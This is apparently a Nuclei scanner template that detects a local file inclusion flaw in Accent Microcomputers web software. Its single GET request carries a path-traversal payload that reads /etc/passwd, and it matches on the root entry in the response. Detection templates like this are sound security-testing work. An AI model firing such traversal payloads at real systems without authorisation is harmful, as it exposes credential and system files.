id: accent-microcomputers-lfi

info:
  name: Accent Microcomputers LFI
  author: 0x_Akoko
  severity: high
  description: A local file inclusion vulnerability in Accent Microcomputers offerings could allow remote attackers to retrieve password files.
  reference:
    - https://cxsecurity.com/issue/WLB-2018050036
    - http://www.accent.com.pl
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: microcomputers,accent,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?id=50&file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c9d5f1b20b7c28c6c100f9dad7a34b6f8c436d8cbb28a869faafee49c0ca1aa0022100b1478fde6e5f839d5bab43b5854dd0c8ce232d6bf61ce3c1908936292775c177:922c64590222798bb761d5b6d8e72950